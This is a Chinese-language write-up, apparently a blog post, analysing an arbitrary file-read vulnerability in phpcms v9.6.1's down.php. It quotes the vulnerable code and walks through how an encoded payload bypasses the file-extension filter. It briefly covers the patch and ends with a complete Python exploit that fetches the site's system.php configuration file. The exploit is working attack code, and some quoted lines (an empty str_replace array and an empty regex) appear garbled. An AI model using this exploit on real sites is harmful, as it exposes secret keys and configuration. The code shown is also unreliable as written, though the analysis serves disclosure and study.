php 打开任意文件,phpcmsv9.6.1 任意文件读取漏洞

phpcms v9.6.1 爆出的任意文件读取漏洞， 来一起分析以下，这次漏洞可以说和9.6.0爆出来的sqli注入漏洞有一些联系，漏洞文件和漏洞利用方法都是一样的，只是这次漏洞点在down.php的download函数

我们定位到漏洞函数/phpcms/modules/content/down.php Line 103-127

public function download() {

$a_k = trim($_GET['a_k']);

$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');

$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

if(empty($a_k)) showmessage(L('illegal_parameters'));

unset($i,$m,$f,$t,$ip);

$a_k = safe_replace($a_k);

parse_str($a_k);

if(isset($i)) $downid = intval($i);

if(!isset($m)) showmessage(L('illegal_parameters'));

if(!isset($modelid)) showmessage(L('illegal_parameters'));

if(empty($f)) showmessage(L('url_invalid'));

if(!$i || $m<0) showmessage(L('illegal_parameters'));

if(!isset($t)) showmessage(L('illegal_parameters'));

if(!isset($ip)) showmessage(L('illegal_parameters'));

$starttime = intval($t);

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

$fileurl = trim($f);

if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));

$endtime = SYS_TIME - $starttime;

if($endtime > 3600) showmessage(L('url_invalid'));

if($m) $fileurl = trim($s).trim($fileurl);

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

//远程文件

if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {

header("Location: $fileurl");

} else {

if($d == 0) {

header("Location: ".$fileurl);

} else {

$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);

$filename = basename($fileurl);

//处理中文文件

if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {

$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));

$filename = urldecode(basename($filename));

}

$ext = fileext($filename);

$filename = date('Ymd_his').random(3).'.'.$ext;

$fileurl = str_replace(array(''), '',$fileurl);

file_down($fileurl, $filename);

}

}

}

这个函数开始几行代码的作用和init函数中的几乎一样，都是从parse_str 解析传入的a_k参数，但这里调用了safe_replace函数过滤。

和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到，然后程序对$f参数过滤，过滤规则如下：

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

$fileurl = trim($f);

过滤了一些黑名单，空格以及目录跳跃,之后把$s和$f作为下载文件路径:

if($m) $fileurl = trim($s).trim($fileurl);

再把拼接后的文件名过滤一次，程序继续运行，来到最关键的一步:

$fileurl = str_replace(array(''), '',$fileurl);

file_down($fileurl, $filename);

file_down函数是文件下载函数，调用readfile读取文件，在进入这个函数之前还用了一个str_replace 函数去除了大小括号，这就为我们绕过提供了思路，我们只需要构造 php< 或 php> 这样的后缀，就可以绕过正则， 之后被str_replace去掉了括号，就可以下载被过滤的文件后缀了。

a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

image.png

payload 如下:

&i=1&m=1&d=1&modelid=2&catid=6&s=./phpcms/modules/content/down.ph&f=p%3%252%2*70C

放入src参数中，解后的$s=./phpcms/modules/content/down.ph, $f=p%3%252%2*70C

$f 的取值为p%3%252%2*70C --safe_replace-> p%3%252%270C --safe_replace--> p%3%2520C --parse_str--> p%3%20C --safe_replace-->p%3C --parse_str--> p< --str_replace-->p

最后和$s拼接就拼接出来了php，绕过了正则了， 过程也是比较复杂， 但payload构造骚，值得学习。

补丁分析

phpcms v9.6.3 修复了该漏洞, 就是在用str_replace函数去掉括号后再用正则过滤了一次。

image.png

写了一个读取system.php配置文件的exp:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

"""

phpcmsv9.6.0 sqli verify and attach poc

"""

import requests

import re

from urllib import quote

TIMEOUT = 3

def geta_k(url,payload):

url = url if '://' in url else 'http://' + url

url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

cookies = {}

#print 'step1'

step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)

#print 'step1',step1

for c in requests.get(step1,timeout=TIMEOUT).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head + '_userid'] = c.value

cookies[c.name] = c.value

break

else:

return False

step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))

#print 'step2:',step2,cookies

for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:

if c.name[-9:] == '_att_json':

enc_payload = c.value

return enc_payload

break

else:

return False

def download(url):

url = url if '://' in url else 'http://' + url

url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

# 以获取system.php配置文件为例，其他文件可以自行修改链接即可,只能下载cms的php文件

payload = "&i=1&m=1&d=1&modelid=2&catid=6&s=caches/configs/system.ph&f=p%3%252%2*70C"

a_k = geta_k(url,payload)

url3 = url+"/index.php?m=content&c=down&siteid=1&a=init&a_k="+a_k

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

html = requests.get(url3,headers=headers)

res = re.findall(r'',html.content)

if res[0]:

downfile = res[0]

else:

return False

url4 = url+'/index.php'+downfile

rep = requests.get(url4,headers=headers)

print rep.content

if __name__ == '__main__':

download('http://localhost/')